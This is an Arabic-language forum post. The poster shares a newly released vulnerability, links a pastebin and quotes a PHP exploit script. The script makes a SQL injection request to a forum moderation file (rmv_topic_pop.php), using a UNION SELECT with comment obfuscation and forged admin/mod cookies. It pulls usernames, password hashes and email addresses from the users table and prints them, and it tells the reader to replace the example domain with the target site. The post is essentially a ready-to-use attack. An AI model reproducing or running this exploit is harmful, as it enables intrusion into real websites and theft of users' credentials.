السلام عليكم ورحمة الله وبركاته

المهم

حصلت ثغره جديده توها نزلت
http://pastebin.com/KqFCfyc3
فهمت تقريبآ 60%

اقتباس <? $host="http://www.el3drabyad.com/"; //ضع الموقع المصاب بدل هذا الموقع واستعرض الملف من المتصفح $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $host."/modcp/rmv_topic_pop.php?id=-1+/*!union*/+/*!SELeCT*/+1,group_concat(u_name,0x3a,u_mpass,0x3a,u_email), 3,4,5,6,7,8,9,10,11,12+/*!frOm*/+users--"); curl_setopt($ch, CURLOPT_******, "admin=ahwak2000;mod=ahwak2000;"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); $buffer = curl_exec($ch); if(strpos($buffer,"style.css")) { echo "<br> [-]---------------------------------------------[-]<br>"; $reg = '#<li .*>.*:(.*?)؟</span></li>#Us'; preg_match($reg,$buffer,$ahwak); $s1=explode(",",$ahwak[1]); $i=1; foreach($s1 as $ayrik){ print "<br> <b>[$i] ".trim($ayrik)."</b><br>"; $i++; } echo "<br> [-]---------------------------------------------[-]<br><b><font color=red>z.u5@hotmail.com</font></b>"; } ?>